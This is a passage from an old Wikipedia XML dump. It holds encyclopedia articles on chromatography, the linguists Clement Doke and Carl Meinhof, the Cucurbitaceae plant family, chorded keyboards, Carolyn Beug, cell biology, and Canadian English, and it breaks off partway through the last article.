[[High performance liquid chromatography]], usually referred to simply as '''HPLC''', is a form of [[column chromatography]] used frequently in [[biochemistry]] and [[Analytical Chemistry]].  The analyte is forced through a column (stationary phase) by a liquid (mobile phase) at high pressure, which decreases the time the separated components remain on the stationary phase and thus the time they have to [[diffuse]] within the column. Diffusion within the column leads to broad peaks and loss of resolution.  Less time on the column then translates to narrower peaks in the resulting chromatogram and thence to better resolution (it's easier to differentiate one peak from another) and sensitivity (tall, narrow peaks can be easier to discriminate from noise than shorter, broader peaks).  Another way to decrease time the analyte stays on the column is to use a solvent gradient.  A solvent gradient is how the composition of the mobile phase changes over a period of time and can be used to force the analyte off of the column at a faster rate.  

=== Normal phase (NP) liquid chromatography ===
Normal phase HPLC (NP-HPLC) was the first kind of HPLC setup used.  This method uses a polar stationary phase and a nonpolar mobile phase, and is commonly used when the analyte of interest is has a nonpolar nature.  NP-HPLC has fallen out of favor recently with the development of reversed phase HPLC.

=== Reversed phase (RP) liquid chromatography ===
Reversed phase HPLC (RP-HPLC) was developed due to the increasing interest in large polar biomolecules.  Like the name implies the nature of the stationary phase is reversed.  The RP-HPLC consists of a nonpolar stationary phase and a polar mobile phase. One common stationary phase is a ''normal'' silica which has been treated with RMe&lt;sub&gt;2&lt;sub&gt;SiCl, where R is a straight chain alkyl group such as C&lt;sub&gt;18&lt;sub&gt;H&lt;sub&gt;37&lt;sub&gt; or C&lt;sub&gt;8&lt;sub&gt;H&lt;sub&gt;17&lt;sub&gt;. It is the case that for a given substance the retention time is longer when the mobile phase is more polar. This is the reverse of the situation which exists when normal silica is used as the stationary phase.

Reversed phase columns are quite difficult to damage when compared with normal silica columns. But they must never be used with strong aqueous [[bases]] ([[alkali]]) as these will destroy the silica, however they can be used with aqueous acid but the column should not be exposed to the acid for too long. One reason is because the acid will corrode the metal parts of the HPLC equipment. The metal content of HPLC columns must be kept low if the best possible ability to separate substances is to be retained. A good test for the metal content of a [[column]] is to inject a sample which is a [[mixture]] of 2,2'- and 4,4'- [[bipyridine]]. Because the 2,2'-bipy can [[chelate]] the metal it is normal that when a [[metal]] [[ion]] is present on the surface of the [[silica]] the shape of the peak for the 2,2'-bipy will be distorted, tailing will be seen on this distorted peak.

== Gel permeation chromatography ==
[[Gel permeation chromatography]], also known as size exclusion chromatography or Sephadex gel chromatography, separates molecules on basis of size. Smaller molecules enter a porous media and take longer to exit the column, hence larger particles leave the column first.  GPC is good for determining polymer molecular weight distribution, but is low [[resolution]].

== Affinity chromatography ==
[[Affinity chromatography]] is based on selective non-covalent interaction between an analyte and specific molecules. It is very specific, but not very [[robust]]. It is often used in biochemistry in the purification of [[protein]]s (or better: protein constructs). These constructs can be of [[fusion protein]]s with a so-called [[His-tag]], [[biotin|biotinylated]] or possibly [[antigen]]s. After purification some of these [[tag]]s are usually removed and the pure protein is obtained.

== Countercurrent chromatography ==
[[Countercurrent chromatography]]

==See also==
* [[wikibooks:Transwiki:Paper chromatography of amino acids|Paper chromatography of amino acids]] on [[Wikibooks]].

==External links==
* [http://www.chromatography-online.org/ Library 4 Science] online books about chromatography.
* [http://www.novasep.com/Technologies/Chromatography.asp NOVASEP] Principe of operation and applications in chemistry 

[[Category:Chromatography]]
[[Category:Laboratory techniques]]

[[cs:Chromatografie]]
[[de:Chromatografie]]
[[es:Cromatografía]]
[[fr:Chromatographie]]
[[it:Cromatografia]]
[[he:כרומטוגרפיה]]
[[nl:Chromatografie]]
[[ja:クロマトグラフィー]]
[[nn:kromatografi]]
[[no:Kromatografi]]
[[pl:Chromatografia]]
[[pt:Cromatografia]]
[[ru:Хроматография]]
[[sk:Chromatografia]]
[[sl:Kromatografija]]
[[sv:Kromatografi]]
[[vi:Sắc kí]]
[[tr:Kromatografi]]
[[zh:色谱法]]</text>
    </revision>
  </page>
  <page>
    <title>Clement Martyn Doke</title>
    <id>6330</id>
    <revision>
      <id>27808429</id>
      <timestamp>2005-11-09T10:30:31Z</timestamp>
      <contributor>
        <username>Evertype</username>
        <id>58589</id>
      </contributor>
      <minor />
      <comment>sp</comment>
      <text xml:space="preserve">'''Clement Martyn Doke''' ([[1893]]-[[1980]]) was a [[South African]] [[linguist]] working mainly on [[African languages]]. A most prolific writer, he published a string of grammars, several dictionaries, comparative work, and a history of Bantu linguistics. Many of these works appeared while he was working in relative obscurity at the University of the Witwatersrand (1923-1953). He wrote on [[Zulu language|Zulu]] and other [[Bantu languages]], and was an early describer of [[Khoisan languages|Khoisan]] and Bantu [[click consonant]]s, devising phonetic symbols for a number of them. Realizing that the grammatical structures of Bantu languages are quite different from those of European languages, he was one of the first African linguists of his time to abandon the Euro-centric approach to language description for a more locally grounded one.

Doke's report &quot;'Report on the unification of the Shona dialects&quot; (1931) was an attempt to resolve conflicts about the orthography of [[Shona language|Shona]].  Doke devised a unified orthography based on the Zezuru, Karanga and Manyika dialects.  However, Doke's orthography was never fully accepted and the South African government introduced an alternative, leaving Shona with two competing orthographies between 1935-1955.

In the early [[1940s]], Doke colloborated with Zulu [[poet]] and scholar [[Benedict Wallet Vilakazi]] to create a Zulu-English dictionary, published [[1948]].

==Selected publications==
*''Bantu linguistic terminology''. London; New York Longmans, Green, 1935.
*''Outline grammar of Bantu''. Johannesburg: University of the Witwatersrand, 1943. 
*''Zulu-English Dictionary''. Johannesburg: Witwatersrand University Press, 1948. (with Benedict Wallet Vilakazi)
*''The Southern Bantu languages''. London; New York: Oxford University Press, 1954.
*''Contributions to the history of Bantu linguistics''. Johannesburg: Witwatersrand University Press, 1961.  (with D. T. Cole)

{{Academic-bio-stub}}

[[Category:1893 births|Doke, Clement Martyn]]
[[Category:1980 deaths|Doke, Clement Martyn]]
[[Category:South African linguists|Doke, Clement Martyn]]
[[Category:South African people|Doke, Clement Martyn]]</text>
    </revision>
  </page>
  <page>
    <title>Carl Meinhof</title>
    <id>6331</id>
    <revision>
      <id>40410274</id>
      <timestamp>2006-02-20T09:42:11Z</timestamp>
      <contributor>
        <username>Bobby1011</username>
        <id>278977</id>
      </contributor>
      <comment>clarification</comment>
      <text xml:space="preserve">'''Carl Friedrich Michael Meinhof''' ([[July 23]],[[1857]]-[[February 11]],[[1944]]) was a [[Germany|German]] [[linguist]] known as one of the first linguists to study African languages. In [[1905]] he became professor at the School of Oriental Studies in [[Berlin]].

He was most notable for the work that he did developing comparative grammar studies of the [[Bantu languages]]. He followed from the pioneering work of [[Wilhelm Heinrich Immanuel Bleek]] on Bantu grammar. In his work, Meinhof looked at the common Bantu languages such as [[Swahili]] and [[Zulu]] to determine similarities and differences. 

In his work, Meinhof looked at [[Grammatical gender|noun classes]] with all Bantu languages having at least 10 classes and with 22 classes of nouns existing throughout the Bantu languages, though his definition of noun class differs slightly from the accepted one. While no language has all 22, [[Sesotho]] has 18. Several Bantu languages have a noun class specifically for humans and the [[Fula language]] having one reserved for liquids.

Meinhof also looked at other African languages including the [[Kordofanian languages]], [[Bushman]], [[Khoikhoi]] and [[Hamitic]] languages. During his career, Meinhof published several books on African languages and made recordings of East African music in 1902 which was one of the first recordings made of traditional African music.

==References==
* Meinhof, C 1948 (1st edn 1906) ''Grundzüge einer vergleichenden Grammatik der Bantusprachen''. Reimer, Berlin

{{Germany-bio-stub}}
{{academic-bio-stub}}

[[Category:1857 births|Meinhof, Carl]]
[[Category:1944 deaths|Meinhof, Carl]]
[[Category:German linguists|Meinhof, Carl Friedrich Michael]]

[[de:Carl Meinhof]]
[[pt:Carl Meinhof]]</text>
    </revision>
  </page>
  <page>
    <title>Carl Lepsius</title>
    <id>6334</id>
    <revision>
      <id>15904485</id>
      <timestamp>2005-02-17T14:03:22Z</timestamp>
      <contributor>
        <username>Nefertum17</username>
        <id>169937</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Karl Richard Lepsius]]</text>
    </revision>
  </page>
  <page>
    <title>Cucurbitaceae</title>
    <id>6335</id>
    <revision>
      <id>40057061</id>
      <timestamp>2006-02-17T20:45:35Z</timestamp>
      <contributor>
        <ip>87.226.10.99</ip>
      </contributor>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Cucurbitaceae
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Dicotyledon|Magnoliopsida]]
| ordo = [[Cucurbitales]]
| familia = '''Cucurbitaceae'''
| familia_authority = [[Antoine Laurent de Jussieu|Juss.]]
| subdivision_ranks = Genera
| subdivision = 
''[[Abobra]]''&lt;br /&gt;
''[[Acanthosicyos]]''&lt;br /&gt;
''[[Actinostemma]]''&lt;br /&gt;
''[[Alsomitra]]''&lt;br /&gt;
''[[Ampelosycios]]''&lt;br /&gt;
''[[Anacaona]]''&lt;br /&gt;
''[[Apatzingania]]''&lt;br /&gt;
''[[Apodanthera]]''&lt;br /&gt;
''[[Bambekea]]''&lt;br /&gt;
''[[Benincasa]]''&lt;br /&gt;
''[[Biswarea]]''&lt;br /&gt;
''[[Bolbostemma]]''&lt;br /&gt;
''[[Brandegea]]''&lt;br /&gt;
''[[Bryonia]]''&lt;br /&gt;
''[[Calycophysum]]''&lt;br /&gt;
''[[Cayaponia]]''&lt;br /&gt;
''[[Cephalopentandra]]''&lt;br /&gt;
''[[Ceratosanthes]]''&lt;br /&gt;
''[[Chalema]]''&lt;br /&gt;
''[[Cionosicyos]]''&lt;br /&gt;
''[[Citrullus]]''&lt;br /&gt;
''[[Coccinia]]''&lt;br /&gt;
''[[Cogniauxia]]''&lt;br /&gt;
''[[Corallocarpus]]''&lt;br /&gt;
''[[Cremastopus]]''&lt;br /&gt;
''[[Ctenolepis]]''&lt;br /&gt;
''[[Cucumella]]''&lt;br /&gt;
''[[Cucumeropsis]]''&lt;br /&gt;
''[[Cucumis]]''&lt;br /&gt;
''[[Cucurbita]]''&lt;br /&gt;
''[[Cucurbitella]]''&lt;br /&gt;
''[[Cyclanthera]]''&lt;br /&gt;
''[[Dactyliandra]]''&lt;br /&gt;
''[[Dendrosicyos]]''&lt;br /&gt;
''[[Dicoelospermum]]''&lt;br /&gt;
''[[Dieterlea]]''&lt;br /&gt;
''[[Diplocyclos]]''&lt;br /&gt;
''[[Doyerea]]''&lt;br /&gt;
''[[Ecballium]]''&lt;br /&gt;
''[[Echinocystis]]''&lt;br /&gt;
''[[Echinopepon]]''&lt;br /&gt;
''[[Edgaria]]''&lt;br /&gt;
''[[Elateriopsis]]''&lt;br /&gt;
''[[Eureiandra]]''&lt;br /&gt;
''[[Fevillea]]''&lt;br /&gt;
''[[Gerrardanthus]]''&lt;br /&gt;
''[[Gomphogyne]]''&lt;br /&gt;
''[[Gurania]]''&lt;br /&gt;
''[[Guraniopsis]]''&lt;br /&gt;
''[[Gymnopetalum]]''&lt;br /&gt;
''[[Gynostemma]]''&lt;br /&gt;
''[[Halosicyos]]''&lt;br /&gt;
''[[Hanburia]]''&lt;br /&gt;
''[[Helmontia]]''&lt;br /&gt;
''[[Hemsleya]]''&lt;br /&gt;
''[[Herpetospermum]]''&lt;br /&gt;
''[[Hodgsonia]]''&lt;br /&gt;
''[[Ibervillea]]''&lt;br /&gt;
''[[Indofevillea]]''&lt;br /&gt;
''[[Kedrostis]]''&lt;br /&gt;
''[[Lagenaria]]''&lt;br /&gt;
''[[Lemurosicyos]]''&lt;br /&gt;
''[[Luffa]]''&lt;br /&gt;
''[[Marah (plant)|Marah]]''&lt;br /&gt;
''[[Melancium]]''&lt;br /&gt;
''[[Melothria]]''&lt;br /&gt;
''[[Melothrianthus]]''&lt;br /&gt;
''[[Microsechium]]''&lt;br /&gt;
''[[Momordica]]''&lt;br /&gt;
''[[Muellerargia]]''&lt;br /&gt;
''[[Mukia]]''&lt;br /&gt;
''[[Myrmecosicyos]]''&lt;br /&gt;
''[[Neoalsomitra]]''&lt;br /&gt;
''[[Nothoalsomitra]]''&lt;br /&gt;
''[[Odosicyos]]''&lt;br /&gt;
''[[Oreosyce]]''&lt;br /&gt;
''[[Parasicyos]]''&lt;br /&gt;
''[[Penelopeia]]''&lt;br /&gt;
''[[Peponium]]''&lt;br /&gt;
''[[Peponopsis]]''&lt;br /&gt;
''[[Polyclathra]]''&lt;br /&gt;
''[[Posadaea]]''&lt;br /&gt;
''[[Praecitrullus]]''&lt;br /&gt;
''[[Pseudocyclanthera]]''&lt;br /&gt;
''[[Pseudosicydium]]''&lt;br /&gt;
''[[Psiguria]]''&lt;br /&gt;
''[[Pteropepon]]''&lt;br /&gt;
''[[Pterosicyos]]''&lt;br /&gt;
''[[Raphidiocystis]]''&lt;br /&gt;
''[[Ruthalicia]]''&lt;br /&gt;
''[[Rytidostylis]]''&lt;br /&gt;
''[[Schizocarpum]]''&lt;br /&gt;
''[[Schizopepon]]''&lt;br /&gt;
''[[Sechiopsis]]''&lt;br /&gt;
''[[Sechium]]''&lt;br /&gt;
''[[Selysia]]''&lt;br /&gt;
''[[Seyrigia]]''&lt;br /&gt;
''[[Sicana]]''&lt;br /&gt;
''[[Sicydium]]''&lt;br /&gt;
''[[Sicyos]]''&lt;br /&gt;
''[[Sicyosperma]]''&lt;br /&gt;
''[[Siolmatra]]''&lt;br /&gt;
''[[Siraitia]]''&lt;br /&gt;
''[[Solena]]''&lt;br /&gt;
''[[Tecunumania]]''&lt;br /&gt;
''[[Telfairia]]''&lt;br /&gt;
''[[Thladiantha]]''&lt;br /&gt;
''[[Trichosanthes]]''&lt;br /&gt;
''[[Tricyclandra]]''&lt;br /&gt;
''[[Trochomeria]]''&lt;br /&gt;
''[[Trochomeriopsis]]''&lt;br /&gt;
''[[Tumacoca]]''&lt;br /&gt;
''[[Vaseyanthus]]''&lt;br /&gt;
''[[Wilbrandia]]''&lt;br /&gt;
''[[Xerosicyos]]''&lt;br /&gt;
''[[Zanonia]]''&lt;br /&gt;
''[[Zehneria]]''&lt;br /&gt;
''[[Zombitsia]]''&lt;br /&gt;
''[[Zygosicyos]]''
&lt;hr&gt;
Ref: [http://delta-intkey.com/angio/www/cucurbit.htm Watson and Dallwitz]&lt;br/&gt;2002-09-03
}}

'''Cucurbitaceae''' is a family of plants including the [[melon]], [[cucumber]], [[calabash]], [[squash (vegetable)|squash]], and [[luffa]].  It is one of the most important families of food plants in the world, although certainly not nearly as important as the grass family, [[Poaceae]], legume family, [[Fabaceae]], or [[Nightshade]] family, [[Solanaceae]].

Most of the plants in this family are [[Annual plant|annual]] [[vine]]s with fairly large, showy [[blossom]]s.

Most of the plants in this family are readily susceptible to a [[moth]] [[larva]], the [[squash borer]].

==External links==
* [http://www.cucurbit.org/family.html Cucurbitaceae] in [http://www.cucurbit.org/family.html T.C. Andres (1995 onwards)].
* [http://delta-intkey.com/angio/www/cucurbit.htm Cucurbitaceae] in [http://delta-intkey.com/angio/ L. Watson and M.J. Dallwitz (1992 onwards). The families of flowering plants: descriptions, illustrations, identification, information retrieval.] http://delta-intkey.com
* [http://nt.ars-grin.gov/sbmlweb/OnlineResources/Cucumis/ J.H. Kirkbride Jr and M.J. Dallwitz (2000 onwards). Cucumis and Cucumella (Cucurbitaceae): cucumbers and melons.]

&lt;br/&gt;&lt;hr&gt;&lt;br/&gt;
{{fruit-stub}}

[[Category:Plant families]]
[[Category:Cucurbitales]]
[[Category:Cucurbitaceae]]

[[da:Græskar-familien (Cucurbitaceae)]]
[[de:Kürbisgewächse]]
[[sl:Podančica]]
[[es:Cucurbitaceae]]
[[eo:Kukurbacoj]]
[[fr:Cucurbitacée]]
[[ja:&amp;#12454;&amp;#12522;&amp;#31185;]]
[[lv:Ķirbju dzimta]]
[[nl:Komkommerfamilie]]
[[no:Gresskarfamilien]]
[[pl:Dyniowate]]
[[pt:Cucurbitáceas]]
[[sv:Gurkväxter]]</text>
    </revision>
  </page>
  <page>
    <title>Chorded keyboard</title>
    <id>6336</id>
    <revision>
      <id>41782616</id>
      <timestamp>2006-03-01T18:42:14Z</timestamp>
      <contributor>
        <username>Omegatron</username>
        <id>18931</id>
      </contributor>
      <comment>/* External links */ organize links and add some</comment>
      <text xml:space="preserve">A '''chorded keyboard''' (sometimes called ''chording keyboard'' or simply ''chord keyboard'') is a [[list of input devices|computer input device]] designed to replace a traditional [[QWERTY]] [[computer keyboard]].  

Instead of using one key for each character, the user presses multiple-key combinations, similar to the playing of [[chord (music)|chord]]s on a [[piano]].  Such technology has been around for many years but is little known to the public because more specialized training is needed to use it than the standard keyboard, which can be used in a &quot;[[hunt and peck]]&quot; style much more quickly.  For example, each finger might control one key which corresponds to one [[bit]] in a [[byte]], so that one to eight fingers can enter any [[Character (computing)|character]] in the [[ASCII]] set if the user can remember the binary codes.  There are many different designs based on the same concept, some requiring only one hand for operation.

Due to the small number of keys required (the minimal design only needs one key for each finger), a chorded keyboard is easily adapted from a board to a grip such as the one on a bicycle handle bar.  In this case it is referred to as a [[Keyer|keyer]] rather than a keyboard because the keys are no longer mounted to a board.  A keyer is a good replacement for a chorded keyboard in portable applications such as the [[wearable computer]].  On the other hand, the failure of [[touch typing]] to penetrate the world after a century of availability leads buyers to question their ability to remember the chordings necessary.

Some claim that, because the fingers don't need to move as far, it saves time and can be typed on faster than a regular keyboard.  Others claim it is slower because a regular keyboard allows the next key to be pressed while the last key is still held down, but a chording keyboard requires each chord to be completely released before the next is pressed.  Definitive numbers (in [[words per minute]]) are hard to find.  This is probably also due to the many different designs available.

[[Doug Engelbart]], inventor of the [[computer mouse]], may have invented chord keyboards.

{| align=right
|[[image:Microwriter.png|250px|thumb|right|A Microwriter MW4 (circa 1980)]]
|}

One of the earliest commercial models was the six-button [[Microwriter]], designed by [[Cy Endfield]] and first sold in 1980. Microwriting is the system of chord keying and is based on a set of mnemonics. It was designed only for right-handed use. 
Chris Rainey, the co-inventor of Microwriting, re-introduced Microwriting for PC and Palm PDAs with a standalone miniature chording keyboard called [[CyKey]] which caters for both left and right handed users. CyKey (pronounced PSYCHE.) is named after the Microwriter chord system's co-inventor Cy Endfield, who died in 1995 but the name also reflects its intuitive nature. 

A modern example of a chorded keyboard is the [[GKOS keyboard]] which is intended for tiny [[tablet PC]]s and wireless mobile terminals.

[[Keyer|&quot;Multiambic&quot; keyers]] for use with wearable computers were invented in Canada in the 1970s.  Multiambic keyers are like chording keyboards but without the board, i.e. the keys are grouped in a cluster for being handheld rather than for sitting on a flat surface.

Chording keyboards are also used as input devices for the [[visually impaired]] (sometimes combined with a [[refreshable braille display]]). Such keyboards use a minimum of seven keys, where each key corresponds to an individual [[braille]] point, except one key which is used as a spacebar.  In some applications, the spacebar is used to produce additional chords which enable the user to issue editing commands, such as moving the [[cursor (computers)|cursor]], deleting words, ETC.  Note that the number of points used in braille computing is not 6, but 8, as this allows the user, among other things, to  distinguish between small and capital letters, as well as identify the position of the cursor.  As a result, most newer chorded keyboards for braille input include at least nine keys.

==See also==

[[Velotype]]

== External links ==

=== Desktop chording keyboards ===

*[http://www.bellaire.demon.co.uk/cykey.htm  CyKey] one-handed chording keyboard
*[http://mudlist.eorbit.net/~adam/pickey/ PIC-Key], an open source one-handed chording keyboard (has references, links, and other information about chording keyboards in general)
*[http://www.infogrip.com/product_view.asp?RecordNumber=12 BAT keyboard] — One-handed desktop chording keyboard

=== Hand-held/wearable chording [[keyer]]s ===

*[http://www.gkos.com  GKOS back-panel chording keyboard], an open standard for handheld devices
*[http://www.handykey.com  Twiddler 2] one-handed chording keyboard/mouse
*[http://xaphoon.com/dataegg/  Data Egg] one-handed chording keyboard for handheld devices
*[http://www.sigchi.org/chi97/proceedings/paper/fkm.htm#U4 &quot;Body-coupled FingeRing&quot;] — Wireless wearable chorded keyer
*[http://www.chordite.com/ Yet another one-hand keyboard] — Hobbyist's attempts at a hand-held chording [[keyer]]

[[Category:Computer keyboards]]</text>
    </revision>
  </page>
  <page>
    <title>Carolyn Beug</title>
    <id>6337</id>
    <revision>
      <id>27596267</id>
      <timestamp>2005-11-07T05:43:33Z</timestamp>
      <contributor>
        <username>HollyAm</username>
        <id>4551</id>
      </contributor>
      <minor />
      <comment>delink</comment>
      <text xml:space="preserve">'''Carolyn Ann Mayer-Beug''' ([[1953]]&amp;ndash;[[September 11]], [[2001]]) was a [[film]]maker and video producer from [[Santa Monica, California|Santa Monica]], [[California]].

She was killed at age 48 on [[September 11, 2001 Terrorist Attack]] in the crash of [[American Airlines Flight 11]]. She won an award for the [[Van Halen]] video &quot;Right Now.&quot; At the time of her death Carolyn Beug was working on a children's book about Noah's Ark which was to be told from Noah's wife's point of view.  On the plane with her was her mother, Mary Alice Wahlstrom. Beug was survived by her twin eighteen-year-old daughters Lauren and Lindsey Mayer-Beug, her 13-year-old son, Nicky, and her husband, John Beug, a senior vice president in charge of filmed production for Warner Bros.' record division. She was returning home from taking her daughters to college at the Rhode Island School of Design.

She lived in a Tudor-style home in the North 25th Street neighborhood. She hosted an annual backyard barbecue for the Santa Monica High School girls track team, which her daughters captained. Carolyn was a [[Latter-day Saint]].

==External links==
*{{imdb_name|id=2023126|name=Carolyn Beug}}

[[Category:1953 births|Beug, Carolyn]]
[[Category:2001 deaths|Beug, Carolyn]]
[[Category:Music video directors|Beug, Carolyn]]</text>
    </revision>
  </page>
  <page>
    <title>Cell biology</title>
    <id>6339</id>
    <revision>
      <id>40926896</id>
      <timestamp>2006-02-23T22:54:13Z</timestamp>
      <contributor>
        <username>Bidabadi</username>
        <id>726723</id>
      </contributor>
      <comment>interwiki fa</comment>
      <text xml:space="preserve">'''Cell biology''' (also called '''cellular biology''' or '''cytology''', from the [[Greek language|Greek]] ''kytos'', &quot;container&quot;) is an [[list of academic disciplines|academic discipline]] which studies [[cell (biology)|cell]]s. This includes their [[physiology|physiological]] properties such as their structure and the [[organelles]] they contain, their environment and interactions, their [[cell cycle|life cycle]], [[cell division|division]] and function ([[physiology]]) and eventual [[apoptosis|death]]. This is done both on a [[microscope|microscopic]] and [[molecule|molecular]] level, and cell biology researches both single-celled organisms like [[bacterium|bacteria]] and specialized cells in multicellular organisms like [[human]]s.

Knowing the composition of cells and how cells work is fundamental to all of the biological sciences. Appreciating the similarities and differences between cell types is particularly important to the fields of cell and [[molecular biology]]. These fundamental similarities and differences provide a unifying theme, allowing the principles learned from studying one cell type to be extrapolated and generalized to other cell types.
Research in cell biology is closely related to [[genetics]], [[biochemistry]], [[molecular biology]] and [[developmental biology]].

==Processes in cell biology==
===Movement of proteins===
[[Protein]]s are synthesized by [[ribosome]]s in the [[cytoplasm]]. This process is also known as [[protein biosynthesis]] or simply [[translation (genetics)|protein translation]]. Some proteins, such as those to be incorporated in membranes ([[membrane protein]]s), are transported into the [[endoplasmic reticulum|ER]] during synthesis and further processed in the [[Golgi apparatus]].  From the Golgi, membrane proteins can move to the [[plasma membrane]], to other subcellular comparments or they can be secreted from the cell. The ER and Golgi can be thought of as the &quot;membrane protein synthesis compartment&quot; and the &quot;membrane protein processing compartment&quot;, respectively.  There is a semi-constant flux of proteins through these compartments.  ER and Golgi-resident proteins associate with other proteins but remain in their respective compartments.  Other proteins &quot;flow&quot; through the ER and Golgi to the plasma membrane.  From the plasma membrane, proteins destined to be degraded move back into intracellular compartments ([[lysosome]]s) where they are broken down to their individual [[amino acid]]s.

==Techniques==            
===Purification of cells and their parts===
Purification of cells and their parts is achieved in the following ways:
*[[Cell fractionation]]
*[[Flow cytometry]]
*Release of cellular organelles by disruption of cells.
*Separation of different organelles by [[centrifugation]].
*Proteins extracted from [[membrane]]s by [[detergent]]s and [[salt]]s.

==See also== 
*[[Active transport]]
*[[Cell adhesion|Adhesion]]
*[[Cell disruption]]
*[[Chloroplast]]
*[[Cilia]]
*[[Cytoplasm]]
*[[Cytoskeleton]]
*[[Endoplasmic reticulum]]
*[[Flagella]]
*[[Glycolysis]]
*[[Golgi apparatus]]
*[[Lipid bilayer]]
*[[cell membrane|Membrane]]
*[[Mitochondrion]]
*[[Cell nucleus|Nucleus]]
*[[Organelle]]
*[[Passive transport]]
*[[Ribosome]]
*[[Signal transduction]]
*[[vesicle (biology)|Vesicle]]
* [[List_of_publications_in_biology#Cell biology| Important publications in cell biology]]

==External links==
{{book}}
*[http://www.bionews.in Cell Biology News]
*[http://www.immunoportal.com Immunohistochemistry - In Situ Hybridization]
*[http://www.imcb.a-star.edu.sg/  Institute of Molecular and Cell Biology]
*[[Nature Reviews Molecular Cell Biology]] ([http://www.nature.com/nrm/index.html  journal home])
*[http://www.biochemweb.org/  The Virtual Library of Biochemistry and Cell Biology]
*[http://www.mc.vanderbilt.edu/vumcdept/cellbio/ Cell &amp; Developmental Biology, Vanderbilt]
*{{NCBI-scienceprimer}}

{{Biology-footer}}
[[Category:Cell biology|*]]
[[Category:Cytology|*]]

[[bg:Клетъчна биология]]
[[cs:Cytologie]]
[[cy:Bioleg cell]]
[[de:Zellbiologie]]
[[eo:Ĉelbiologio]]
[[es:Citología]]
[[et:Rakubioloogia]]
[[fa:زیست‌شناسی سلولی]]
[[fr:Biologie cellulaire]]
[[fy:Selbiology]]
[[he:ביולוגיה של התא]]
[[hr:Citologija]]
[[hu:Sejtbiológia]]
[[id:Biologi sel]]
[[is:Frumulíffræði]]
[[ja:細胞生物学]]
[[ko:세포학]]
[[lb:Zytologie]]
[[lt:Citologija]]
[[mk:Клеточна биологија]]
[[nl:Celbiologie]]
[[pl:Cytologia]]
[[pt:Biologia celular]]
[[simple:Cytology]]
[[sk:Cytológia]]
[[sl:Citologija]]
[[sr:Цитологија]]
[[sv:Cytologi]]
[[vi:Tế bào học]]
[[zh:细胞生物学]]</text>
    </revision>
  </page>
  <page>
    <title>Canadian English</title>
    <id>6340</id>
    <revision>
      <id>42150164</id>
      <timestamp>2006-03-04T03:43:46Z</timestamp>
      <contributor>
        <username>Canmoore</username>
        <id>1026537</id>
      </contributor>
      <comment>/* Some Distinctive Canadian English Terms */</comment>
      <text xml:space="preserve">{{English dialects}}
'''Canadian English''' ('''CaE''') is the form of [[English language]] used in [[Canada]], spoken as a first or second language by over 25 million – or 85 [[percentage|percent]] of – Canadians ([http://www.statcan.ca/english/Pgdb/demo15a.htm [[2001]] [[census]]]). Canadian English spelling is a mixture of [[American English|American]], [[British English|British]], and unique Canadianisms.  Canadian vocabulary is similar to American English, but with key differences and local variations.

Pronunciation of English in Canada is overall very similar to [[United States|American]] pronunciation, which is especially true for Central and Western Canadians. The island of [[Newfoundland]] has its own distinctive dialect of English known as [[Newfoundland English]] while the [[maritimes|maritime]] provinces of [[Nova Scotia]], [[New Brunswick]] and [[Prince Edward Island]] speak Canadian English with an accent sounding more similar to [[Scottish Gaelic language|Scottish]] and, in some places, [[Hiberno-English|Irish]] pronunciation than American. There is also some [[French language|French]] influence in pronunciation for some English-speaking Canadians who live near, and especially work with, French-Canadians.

==Spelling== 

Canadian spelling of the English language combines British and American rules. Most notably, French-derived words that in American English end with ''-or'' and ''-er'', such as ''color'' or ''center'', retain a spelling closer to their original in Canadian and British writing (&quot;colour&quot; and &quot;centre&quot;). In other cases, Canadians and Americans stand at odds with British spelling, such as in the case of words like ''tire'' and ''curb'', which in British English are spelled ''tyre'' and ''kerb'' (but ''to curb'').

Interestingly, where American English has moved almost entirely to &quot;ize&quot; endings, and British English to &quot;ise&quot; endings, Canadian English retains the Greek etymology in that it uses &quot;ise&quot; only where a sigma existed in an original Greek root, and uses &quot;ize&quot; for everything else. In Canadian English, the ending &quot;yze&quot; is preferred over &quot;yse&quot; (e.g. ''analyse'' vs ''analyze'').

A business-history explanation for some Canadian spelling rules is possible. For instance, the British spelling of the word ''cheque'' probably relates to Canada's once-important ties to British financial institutions. Canada's car industry, on the other hand, has been dominated by American firms from its inception, explaining why Canadians use the American spelling of ''tire'' and American terminology for the parts of a car. In fact, a major Canadian retail hardware and home goods chain is known as [[Canadian Tire]]. Many of the Commonwealth spellings are kept in order to form constructions such as ''CITY CENTRE-VILLE'' in which the former two words can be interpreted as [[English language|English]], and the latter two as [[French language|French]]. This makes use of the relative position of adjectives to the noun in both languages.

British spellings which include [[digraph (orthography)|digraph]]s (or their two-letter equivalents) are beginning to disappear from Canadian spellings.  Words such as ''encyclopaedia'', ''foetus'', and ''paediatrician'' are spelled ''encyclopedia'', ''fetus'', and ''pediatrician'', although many Canadian dictionaries offer both spellings as an option and medical journals still include ligatures. ''Manoeuvre'' (instead of the U.S. ''maneuver'') is still the more common spelling in Canada, though.

A plausible contemporary reference for formal Canadian spelling is the spelling used for [[Hansard]] transcripts of the [[Parliament of Canada]]. Many Canadian editors, though, use the [http://www.fedpubs.com/subject/refer/oxfdic.htm Canadian Oxford Dictionary,] 2nd ed. (Toronto: Oxford University Press, 2004), often along with the chapter on spelling in ''Editing Canadian English'' and, where necessary (depending on context) one or more other references (see [[#Further_reading|the section &quot;Further reading&quot;]]).

==Pronunciation==
{{main|Phonemic differentiation}}
The primary aspect of the Canadian English accent is a feature called &quot;[[Canadian raising]]&quot;, where [[diphthong]]s are raised before voiceless consonants. For example, ''about'' will be raised from {{IPA|[əˈbaʊt]}}, as it is in the American Atlantic dialect, to {{IPA|[əˈbʌʊt]}}, a higher vowel, or nearly even {{IPA|[əˈboʊt]}} in some dialects. The stereotypical ''aboot'' pronunciation, lampooned in the [[United States|American]] [[television series]] ''[[South Park]]'' is unusual and completely incorrect in most cases (except for some in Southern Ontario); the stereotype may derive from an interpretation of the ''aboot'' pronunciation as heard by someone who is used to the much lower ''abawt'' pronunciation, or from a misinterpretation of the spelling of the &quot;word&quot; ''aboot''. Ironically, a monophthongized pronunciation of ''aboat'' is quite common in parts of the U.S. Upper Midwest, such as [[Minnesota]]. Anecdotally, the ''abuhwt'' vowels are heard in Ontario and further west, and the ''aboot'' vowels are heard in the Eastern provinces.

